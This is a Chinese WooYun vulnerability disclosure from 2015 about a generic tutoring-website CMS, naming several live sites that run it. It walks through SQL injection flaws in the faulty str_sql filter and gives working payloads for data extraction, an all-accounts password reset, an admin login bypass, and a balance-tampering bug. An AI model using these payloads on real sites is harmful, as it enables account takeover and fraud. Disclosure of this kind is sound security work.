当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101452

漏洞标题:某通用型家教系统 sql注入1~4

相关厂商:家教网

漏洞作者: %270x5c

提交时间:2015-03-17 10:37

修复时间:2015-05-01 10:38

公开时间:2015-05-01 10:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt

详细说明:

通用型证明:
--------------------------------------------------
实例可参照官网给出的部分案例 http://jjw.goodjjw.com/

http://www.xiamenjjw.net 厦门家教网
http://www.0514jjw.net 扬州家教网
http://www.027jjw.net/ 武汉家教网
http://www.0571jjw.net/ 杭州家教网
http://www.dzjjw.com 定州家教网
.......


注册会员处,改包,即可可注入出信息。
.../login_action.php?type_action=add&id=
修改这两个参数

Content-Disposition: form-data; name="fax"
\
------WebKitFormBoundary97V1J5ZggHxWymB8
Content-Disposition: form-data; name="qq_number"
,(version()),0,0,0,0,0)#


1.png


就不一一截图了。可自行测试。
-----------------------------------------------------------------------------
下面从代码层来说说漏洞的产生。
对于所有get,post的数据,该cms都调用了 str_sql这个函数

function str_sql($str)
{
$str=str_replace("'","",$str);
//$str=str_replace(""","",$str);
$str=str_replace("|","",$str);
$str=str_replace("&","",$str);
$str=str_replace("=","",$str);
$str=str_replace("|","",$str);
$str=str_replace(CHR(13),"<br>",$str);
$str=str_replace(CHR(10),"",$str);
return $str;
}


这个函数是有很大问题的。
如果gpc为off或者为高版本,我们可带入\
如果gpc为on的话, 我们提交单引号 ' 时 ,

'->\'->\

同样带入了 \
那么 ,当sql语句有两个变量可控,我们即可注入出自己所想要的数据。
很快可以找到这么几处,
1.
D:/wamp/www/login_action.php (注册会员处)

case "add":
$username=str_sql($_POST['username']);
...........
$fax=str_sql($_POST['fax']);
$qq_number=str_sql($_POST['qq_number']);
...........
$integral_value=explode(',',$rs_integral->integral_info);
$user_add="insert into user_info_manage(user_name,user_password,question_info,ask_info,e_mail,your_name,sex_info,area_info,address_info,zip_code_number,tel_number,mobile_number, fax_number,qq_info,pic_url,user_level,money_count,state_info,submit_date,integral_count) values ('$username','$userpassword','$question_value','$ask_value','$email','$yourname','$sex','$city_id','$address','$zip_code','$tel','$mobile','$fax','$qq_number','$file_web_url','$user_type',0,0,'$submit_date','$integral_value[0]')";
..........


fax和qq_number进过str_sql后直接带入了insert 。满足了条件。
2.
D:/wamp/www/login_action.php

case 'edit':
$email=str_sql($_POST['email'];
.......
$fax=str_sql($_POST['fax']);
$qq_number=str_sql($_POST['qq_number']);
$money_value=str_sql($_POST['money_value']);
.........
if ($file_web_url!='') {
$user_edit="update user_info_manage set e_mail='$email',your_name='$yourname',sex_info='$sex',area_info='$city_id',address_info='$address',zip_code_number='$zip_code',tel_number='$tel',mobile_number='$mobile', fax_number='$fax',qq_info='$qq_number',pic_url='$file_web_url',user_level='$user_type',integral_count='$integral_value' where user_name='$login_user_name'";
} else {
$user_edit="update user_info_manage set e_mail='$email',your_name='$yourname',sex_info='$sex',area_info='$city_id',address_info='$address',zip_code_number='$zip_code',tel_number='$tel',mobile_number='$mobile', fax_number='$fax',qq_info='$qq_number',user_level='$user_type',integral_count='$integral_value' where user_name='$login_user_name'";
}


同第一处,值得注意的是 这里 money_value可以自己控制,那么亦可导致一个无限充值的bug。
3.
D:/wamp/www/login_action.php

case 'find_password':
$username=str_sql($_GET['username']);
$ask_value=str_sql($_POST['ask_value']);
$userpassword=str_sql($_POST['userpassword']);
$user_check="select * from user_info_manage where user_name='$username' and ask_info='$ask_value'";
$rs_user_check=mysql_query ($user_check);
if (mysql_fetch_object ($rs_user_check)) {
$password_update="update user_info_manage set user_password='$userpassword' where user_name='$username' and ask_info='$ask_value'";
mysql_query ($password_update);
?><script language="javascript">alert('修改密码成功!');history.go(-1);</script>


此处 我们提交 login.php?disp_type=edit_password&username=aaaaaa\
post: ask_value= or 1%23
即可重置全站所有会员密码(包括管理员)。
4.
D:/wamp/www/admin/index.php

if ($_GET['type_action']=='login') {
$username=str_sql($_POST['username']);
$userpassword=str_sql($_POST['userpassword']);
$user_check="select * from user_info_manage where user_name='$username' and user_password='$userpassword' and user_level='admin_user'";
$rs_user_check=mysql_query ($user_check);
if (mysql_fetch_object ($rs_user_check)) { $_SESSION['login_user_level']='admin_user'; ?><script language="javascript">location.href='main.php';</script><?php } else { ?><script language="javascript">alert('请输入正确的用户名或密码!');history.go(-1);</script><?php exit; } } ?>


同理。 username=\ password= or 1%23 直接进入后台。
上诉所述的 皆为gpc为off的情况,单gpc为on时 ,将\替换为 ' 即可。
-------------------------------
以第一处sql为例,官网测试。

1.png


漏洞证明:

1.png

修复方案:

加强过滤。

版权声明:转载请注明来源 %270x5c@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝